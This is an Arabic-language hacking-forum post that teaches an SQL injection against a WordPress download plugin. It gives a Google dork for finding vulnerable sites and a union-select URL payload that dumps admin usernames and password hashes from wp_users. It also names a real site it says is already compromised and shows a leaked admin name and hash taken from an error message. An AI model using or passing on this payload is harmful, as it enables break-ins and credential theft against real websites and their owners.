wp-download.phpالحق قبل ما تخلص

السلام عليكم





ندخل الى




نبحت عن


inurl:"wp-download.php?dl_id="





ناخد هذا على سبيل المتال



هو مخترق من قبل

http://nexev.org/wp-content/plugins/...ad.php?dl_id=2



الاستغلال




كود PHP:
http://localhost/[path]/[path]/[path]/wp-download.php?dl_id=null/**/union/**/all/**/select/**/concat(user_login,0x3a,user_pass)/**/from/**/wp_users/*








يصبح هكذا

http://nexev.org/wp-content/plugins/.../**/wp_users/*

ادا مخترق من قبل و كنت تريد ان تخترقه انت حتى تجد هذا

fopen(admin:4916ff233bfa208be27546d0ac5d8989)
الادمن و الباس


تجدها دائما امام الكلمة


[function.fopen]: